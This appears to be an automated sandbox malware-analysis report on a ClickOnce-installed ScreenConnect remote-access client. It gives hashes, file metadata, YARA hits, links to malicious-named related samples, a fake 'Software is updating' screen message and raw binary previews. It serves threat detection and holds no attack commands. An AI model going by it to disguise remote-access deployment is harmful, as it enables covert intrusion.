Preview:	.<?xml version="1.0" encoding="utf-8"?><asmv1:assembly xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd" manifestVersion="1.0" xmlns:asmv1="urn:schemas-microsoft-com:asm.v1" xmlns="urn:schemas-microsoft-com:asm.v2" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xrml="urn:mpeg:mpeg21:2003:01-REL-R-NS" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:co.v1="urn:schemas-microsoft-com:clickonce.v1" xmlns:co.v2="urn:schemas-microsoft-com:clickonce.v2">.. <assemblyIdentity name="ScreenConnect.WindowsClient.application" version="24.2.10.8991" publicKeyToken="25b0fbb6ef7eb094" language="neutral" processorArchitecture="msil" xmlns="urn:schemas-microsoft-com:asm.v1" />.. <description asmv2:publisher="ScreenConnect Software" asmv2:product="ScreenConnect Client" xmlns="urn:schemas-microsoft-com:asm.v1" />.. <deployment install="false" trustURLParameters="tr

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471.cdf-ms

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	4428
Entropy (8bit):	4.172510408991975
Encrypted:	false
SSDEEP:	48:hQKXCD5v+dgre6S+9ow87gFW75uv6ThVBHJu2/qcU5jUWkoDprOaJCf:hvXUeV+Ww8U45u0xpu6UuWkoNOrf
MD5:	9BB6FC7B18D50BB8F732022157E06F84
SHA1:	926C999AE5C6CD4D75DEFA1A1B601AFE3B10D9A8
SHA-256:	EB07B32D7EFB09887D40828FE8F09B387107199CFA9CE1C3F6A9E5A093BCE2C3
SHA-512:	5DB7E89404E35E101556B4C31879F36AFBF103ECEFC0901A5DF34D2BEBE0363C488EB49EF9E046A6456C254B688EF1238B7C377E12C376E4E9D5C66E40FE2B0D
Malicious:	false
Preview:	PcmH.........H...30_,...T.......T...............8...........+........<.g..J.\|r,..`P...............3LD.S.....U..c...................'-........s".I...R.....$...........3..L.G........6...................z..w.....[~31.X....y..&..d......B(.........[s.T..<....s".I...R......E..X.!...O.&r..Vz$......;..'..................."...%...(...0.......0.......0.......0...D...0...t...0................................................... .......0.......8...4...D.......x...P...l...........@...................,.......4.......D...(...L.......t.......\|...........(...............................(................... ...(...4.......\.......d...(...\|...................(...............L...........0...................................................................................................................................................................................................................................................................................................nameScreenConnect.Cl

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\manifests\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471.manifest

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	5.084538887646832
Encrypted:	false
SSDEEP:	24:JdFYZ8h9onRzgeP0AuS+vSkcyMuscbEMuscuMuscVSkcf5bdTo:3FYZ8h9o9gI0AJCHMrTMr3MrGAXTo
MD5:	E11E5D85F8857144751D60CED3FAE6D7
SHA1:	7E0AE834C6B1DEA46B51C3101852AFEEA975D572
SHA-256:	ED9436CBA40C9D573E7063F2AC2C5162D40BFD7F7FEC4AF2BEED954560D268F9
SHA-512:	5A2CCF4F02E5ACC872A8B421C3611312A3608C25EC7B28A858034342404E320260457BD0C30EAEFEF6244C0E3305970AC7D9FC64ECE8F33F92F8AD02D4E5FAB0
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>..<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0" xmlns:asmv2="urn:schemas-microsoft-com:asm.v2" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:schemas-microsoft-com:asm.v1 assembly.adaptive.xsd">.. <assemblyIdentity name="ScreenConnect.ClientService" processorArchitecture="msil" publicKeyToken="4B14C015C87C1AD8" version="24.2.10.8991" />.. <file name="ScreenConnect.ClientService.dll" />.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="mscorlib" publicKeyToken="b77a5c561934e089" version="2.0.0.0" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Core" publicKeyToken="4b14c015c87c1ad8" version="24.2.10.8991" />.. </dependentAssembly>.. </dependency>.. <dependency>.. <dependentAssembly>.. <assemblyIdentity name="ScreenConnect.Windows" publicKeyToken="4b14c015c87c1ad8" versio

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	95520
Entropy (8bit):	6.505346220942731
Encrypted:	false
SSDEEP:	1536:rg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgoT0HMM7CxM7:khbNDxZGXfdHrX7rAc6myJkgoT0HXN7
MD5:	361BCC2CB78C75DD6F583AF81834E447
SHA1:	1E2255EC312C519220A4700A079F02799CCD21D6
SHA-256:	512F9D035E6E88E231F082CC7F0FF661AFA9ACC221CF38F7BA3721FD996A05B7
SHA-512:	94BA891140E7DDB2EFA8183539490AC1B4E51E3D5BD0A4001692DD328040451E6F500A7FC3DA6C007D9A48DB3E6337B252CE8439E912D4FE7ADC762206D75F44
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: pzPO97QouM.exe, Detection: malicious, Browse Filename: pzPO97QouM.exe, Detection: malicious, Browse Filename: statments.exe, Detection: malicious, Browse Filename: Scanned01Document_ms.exe, Detection: malicious, Browse Filename: Scanned01Document_ms.exe, Detection: malicious, Browse Filename: sstatment.exe, Detection: malicious, Browse Filename: extukGiBrn.exe, Detection: malicious, Browse Filename: Vh0tTzx4Ko.exe, Detection: malicious, Browse Filename: support.Client.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..qF.qF.qF....qF.....qF....qF.<.B.qF.<.E.qF.<.C.qF....qF.#..qF.qG..qF.2.O.qF.2...qF.2.D.qF.Rich.qF.........................PE..L.....wc...............!.............!............@.......................................@.................................p...x....`..X............L.. )...p......`!..p............................ ..@............................................text...:........................... ..`.rdata...f.......h..................@..@.data........@.......,..............@....rsrc...X....`.......6..............@..@.reloc.......p.......<..............@..B........................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	61216
Entropy (8bit):	6.31175789874945
Encrypted:	false
SSDEEP:	1536:SW/+lo6MOc8IoiKWjbNv8DtyQ4RE+TC6VAhVbIF7fIxp:SLlo6dccl9yQGVtFra
MD5:	6DF2DEF5E591E2481E42924B327A9F15
SHA1:	38EAB6E9D99B5CAEEC9703884D25BE8D811620A9
SHA-256:	B6A05985C4CF111B94A4EF83F6974A70BF623431187691F2D4BE0332F3899DA9
SHA-512:	5724A20095893B722E280DBF382C9BFBE75DD4707A98594862760CBBD5209C1E55EEAF70AD23FA555D62C7F5E54DE1407FB98FC552F42DCCBA5D60800965C6A5
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: pzPO97QouM.exe, Detection: malicious, Browse Filename: pzPO97QouM.exe, Detection: malicious, Browse Filename: statments.exe, Detection: malicious, Browse Filename: Scanned01Document_ms.exe, Detection: malicious, Browse Filename: Scanned01Document_ms.exe, Detection: malicious, Browse Filename: sstatment.exe, Detection: malicious, Browse Filename: extukGiBrn.exe, Detection: malicious, Browse Filename: Vh0tTzx4Ko.exe, Detection: malicious, Browse Filename: support.Client.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...L............."...0.................. ........@.. ....................... ......3]....@.....................................O.......,............... )..............8............................................ ............... ..H............text........ ...................... ..`.rsrc...,...........................@..@.reloc..............................@..B........................H........S......................x.........................................(....^.(.......a...%...}....:.(......}....:.(......}....:.(......}........0..........(....(....(....(....r...p(....o....(....r...p..~....(....(....r9..p..~....(....(.....g~).....(....rY..p.(....&(.....(....s....( ...s....(!......0...........(".....(#.....($....s....%.o%...%.o&...%.o'...%s!...o(...%~....o)...}......(....o*...o+....(,.....@...%..(.....o-....s....}.....{...........s/...o0....s....}..

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsClient.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	81696
Entropy (8bit):	5.862223562830496
Encrypted:	false
SSDEEP:	1536:/tytl44RzbwI5kLP+VVVVVVVVVVVVVVVVVVVVVVVVVC7Yp7gxd:8/KukLdUpc
MD5:	B1799A5A5C0F64E9D61EE4BA465AFE75
SHA1:	7785DA04E98E77FEC7C9E36B8C68864449724D71
SHA-256:	7C39E98BEB59D903BC8D60794B1A3C4CE786F7A7AAE3274C69B507EBA94FAA80
SHA-512:	AD8C810D7CC3EA5198EE50F0CEB091A9F975276011B13B10A37306052697DC43E58A16C84FA97AB02D3927CD0431F62AEF27E500030607828B2129F305C27BE8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...P............"...0..@...........^... ...`....@.. .......................`......j.....@..................................^..O....`.. ............... )...@.......]..8............................................ ............... ..H............text....>... ...@.................. ..`.rsrc... ....`.......B..............@..@.reloc.......@......................@..B.................^......H....... +..@2..................`]........................................(....^.(.......;...%...}....:.(......}....:.(......}....:.(......}........0..........s>....(....(....(....(....(.....(....(......s....}B....s....}C....~@...%-.&~?.....<...s ...%.@...o...+.....@...s ...o...+......A...s!...o...+}D.......B...s"...o...+.......(#...&......(#...& .... ...........($...&s....t......r...prs..p(%...(&...~>...%-.&...'...s(...%.>.....A...().......(........(+...o,...(-...t....

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	548864
Entropy (8bit):	6.031251664661689
Encrypted:	false
SSDEEP:	6144:7+kYq9xDsxaUGEcANzZ1dkmn27qcO5noYKvKzDrzL9e7eOJsXziIYjVtkb+vbHq+:7SHtpnoVMlUbHbBaYLD
MD5:	16C4F1E36895A0FA2B4DA3852085547A
SHA1:	AB068A2F4FFD0509213455C79D311F169CD7CAB8
SHA-256:	4D4BF19AD99827F63DD74649D8F7244FC8E29330F4D80138C6B64660C8190A53
SHA-512:	AB4E67BE339BECA30CAB042C9EBEA599F106E1E0E2EE5A10641BEEF431A960A2E722A459534BDC7C82C54F523B21B4994C2E92AA421650EE4D7E0F6DB28B47BA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z............." ..0..X...........r... ........... ...............................D....@..................................r..O....................................q..8............................................ ............... ..H............text....V... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................r......H........B......................xq........................................{:.....{;...V.(<.....}:.....};......0..A........u~.......4.,/(=....{:....{:...o>...,.(?....{;....{;...o@...... ... )UU.Z(=....{:...oA...X )UU.Z(?....{;...oB...X...0..b........r...p......%..{:......%q.........-.&.+.......oC....%..{;......%q.........-.&.+.......oC....(D.....{E.....{F...V.(<.....}E.....}F....0..A........u........4.,/(=....{E....{E...o>...,.(?....{F....{F...o@...... F.b# )UU.

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1721856
Entropy (8bit):	6.639136400085158
Encrypted:	false
SSDEEP:	24576:gx5x94kEFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:gx5xKkEJkGYYpT0+TFiH7efP
MD5:	9F823778701969823C5A01EF3ECE57B7
SHA1:	DA733F482825EC2D91F9F1186A3F934A2EA21FA1
SHA-256:	ABCA7CF12937DA14C9323C880EC490CC0E063D7A3EEF2EAC878CD25C84CF1660
SHA-512:	FFC40B16F5EA2124629D797DC3A431BEB929373BFA773C6CDDC21D0DC4105D7360A485EA502CE8EA3B12EE8DCA8275A0EC386EA179093AF3AA8B31B4DD3AE1CA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l............" ..0..>...........]... ...`....... ..............................[.....@................................./]..O....`...............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............D..............@..B................c]......H.......t...h..............0....\........................................()...^.()..........%...}....:.().....}....:.().....}....:.().....}......s.....s+...:.(,.....(-.....{...."..}....J.(/........(0...&:.(,.....(1.....{2..."..}2....0..(........(3......+.............(0...&..X....i2.v.(,....s4...}.....s5...}....v.{.....r...p(...+.....o7.....0...........o8....+..o9......(...+&.o....-....,..o................."........{..........o:...&.......(.........0..L...

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	601376
Entropy (8bit):	6.185921191564225
Encrypted:	false
SSDEEP:	6144:r+z3H0n063rDHWP5hLG/6XixJQm16Eod7ZeYai1FzJTZJ5BCEOG6y9QsZSc4F2/Q:qzEjrTWPMLBfWFaSdJ5BeG6xs6/yRod
MD5:	20AB8141D958A58AADE5E78671A719BF
SHA1:	F914925664AB348081DAFE63594A64597FB2FC43
SHA-256:	9CFD2C521D6D41C3A86B6B2C3D9B6A042B84F2F192F988F65062F0E1BFD99CAB
SHA-512:	C5DD5ED90C516948D3D8C6DFA3CA7A6C8207F062883BA442D982D8D05A7DB0707AFEC3A0CB211B612D04CCD0B8571184FC7E81B2E98AE129E44C5C0E592A5563
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{<............"...0.................. ... ....@.. .......................`.......x....@.................................=...O.... .................. )...@..........8............................................ ............... ..H............text...`.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................q.......H........H................................................................{D.....{E...V.(F.....}D.....}E......0..A........u1.......4.,/(G....{D....{D...oH...,.(I....{E....{E...oJ...... }.o )UU.Z(G....{D...oK...X )UU.Z(I....{E...oL...X...0..b........r...p......%..{D......%q4....4...-.&.+...4...oM....%..{E......%q5....5...-.&.+...5...oM....(N.....{O.....{P...V.(F.....}O.....}P....0..A........u6.......4.,/(G....{O....{O...oH...,.(I....{P....{P...oJ...... 1.c. )UU.

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	197120
Entropy (8bit):	6.58476728626163
Encrypted:	false
SSDEEP:	3072:CxGtNaldxI5KY9h12QMusqVFJRJcyzvJquFzDvJXYrR:BtNalc5fr12QbPJYaquFGr
MD5:	AE0E6EBA123683A59CAE340C894260E9
SHA1:	35A6F5EB87179EB7252131A881A8D5D4D9906013
SHA-256:	D37F58AAE6085C89EDD3420146EB86D5A108D27586CB4F24F9B580208C9B85F1
SHA-512:	1B6D4AD78C2643A861E46159D5463BA3EC5A23A2A3DE1575E22FDCCCD906EE4E9112D3478811AB391A130FA595306680B8608B245C1EECB11C5BCE098F601D6B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Z<..........." ..0.................. ... ....... .......................`............@.................................-...O.... .......................@..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................a.......H...........(............^................................................(......(....^.(...........%...}....:.(......}....:.(......}....:.(......}......{....:.(......}.....0..A........(....s....%.~(...%-.&~'.....y...s....%.(...(...+(...+o"...o........0..s.......~#.....2. ....+...j..... ......... ...............%.r...p.%.r...p............%.&...($....5..............s%....=.....0...........~...%-.&~).....\|...s&...%....(...+..~+...%-.&~).....}...s(...%.+...(...+.r9..

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\Client.Override.en-US.resources

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
File Type:	data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	4.9739376290794715
Encrypted:	false
SSDEEP:	6:8kVXdyrKDLIP12MUAvvR+ojlX2KG6cAtsbxMHwercD:rHy2DLI4MWoj12K9cAudMHcD
MD5:	5A9944427C35328CB2D7E201CD705C32
SHA1:	C58F7761A80CC65E12CC48AD459151DD7E02B2EA
SHA-256:	333CF59F6D5E060600BD0E001643FECC11E91743A9757AB2192C4CF9B3CB6C01
SHA-512:	AF0132F5D7DA2FDC869BD4889700FB4F3A8017159931CBE7861251C1B33EA4FA28331E1059E129C4BA6AF9878A1367BA531D412AE9DC13F143EDEBC6855114D0
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP..n_........ A.p.p.l.i.c.a.t.i.o.n.T.i.t.l.e......>Software is updating... Please do not turn off your computer!.

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\Client.Override.resources

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
File Type:	data
Category:	dropped
Size (bytes):	257
Entropy (8bit):	4.896176001960815
Encrypted:	false
SSDEEP:	6:8kVXdyrKDLIP12MUAvvR+ojlX2epExpKCl1nSJk0k:rHy2DLI4MWoj12eKfKCKxk
MD5:	C72D7889B5E0BB8AC27B83759F108BD8
SHA1:	2BECC870DB304A8F28FAAB199AE6834B97385551
SHA-256:	3B231FF84CBCBB76390BD9560246BED20B5F3182A89EAF1D691CB782E194B96E
SHA-512:	2D38A847E6DD5AD146BD46DE88B9F37075C992E50F9D04CCEF96F77A1E21F852599A57CE2360E71B99A1CCBC5E3750D37FDB747267EA58A9B76122083FB6A390
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP..........6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.C.o.l.o.r.......#03c6fc.

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\Client.en-US.resources

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
File Type:	data
Category:	dropped
Size (bytes):	50133
Entropy (8bit):	4.759054454534641
Encrypted:	false
SSDEEP:	1536:p1+F+UTQd/3EUDv8vw+Dsj2jr0FJK97w/Leh/KR1exJKekmrg9:p1+F+UTQWUDv8vw+Dsj2jr0FJK97w/LR
MD5:	D524E8E6FD04B097F0401B2B668DB303
SHA1:	9486F89CE4968E03F6DCD082AA2E4C05AEF46FCC
SHA-256:	07D04E6D5376FFC8D81AFE8132E0AA6529CCCC5EE789BEA53D56C1A2DA062BE4
SHA-512:	E5BC6B876AFFEB252B198FEB8D213359ED3247E32C1F4BFC2C5419085CF74FE7571A51CAD4EAAAB8A44F1421F7CA87AF97C9B054BDB83F5A28FA9A880D4EFDE5
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.q...'..6....wp.......y....C\|.)>..Ldt..... $...X..........1$.../...2.%%3./>>...L.y.0.C._.........1Y..Qj.o....<....=...R..;...C....&.......1p2.r.x.u?Y..R...c......X.....I.5.2q..R...>.E.pw .@ ).w.l.....S...X..'.C.I......-.Y........4.J..P<.E..=c!.@To..#.._.2.....K.!..h...z......t......^..4...D...f..Q...:..%.z.<......^.....;<...r..yC.....Q........4_.Sns..z.......=..]t...X..<....8.e`}..n....S.H[..S@?.~....,...j.2..v.......B....A...a......D..c..w..K,..t...S.....v....7.6\|..&.....r....#....G......Y...i..'.............'.......Z.....#2e..........\|....)..%....A.....4{..u;N......&q...}.tD..x.....4...J...L......5.Q..M....K..3U..M..............5...........t.>.......lYu....3TY.?...r...'.......3.m........=.H...#.o.........n.....,4.~...<h..u...i.H...V......V/...P.$%..z...

C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\Client.resources

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
File Type:	data
Category:	dropped
Size (bytes):	26722
Entropy (8bit):	7.7401940386372345
Encrypted:	false
SSDEEP:	384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
MD5:	5CD580B22DA0C33EC6730B10A6C74932
SHA1:	0B6BDED7936178D80841B289769C6FF0C8EEAD2D
SHA-256:	DE185EE5D433E6CFBB2E5FCC903DBD60CC833A3CA5299F2862B253A41E7AA08C
SHA-512:	C2494533B26128FBF8149F7D20257D78D258ABFFB30E4E595CB9C6A742F00F1BF31B1EE202D4184661B98793B9909038CF03C04B563CE4ECA1E2EE2DEC3BF787
Malicious:	false
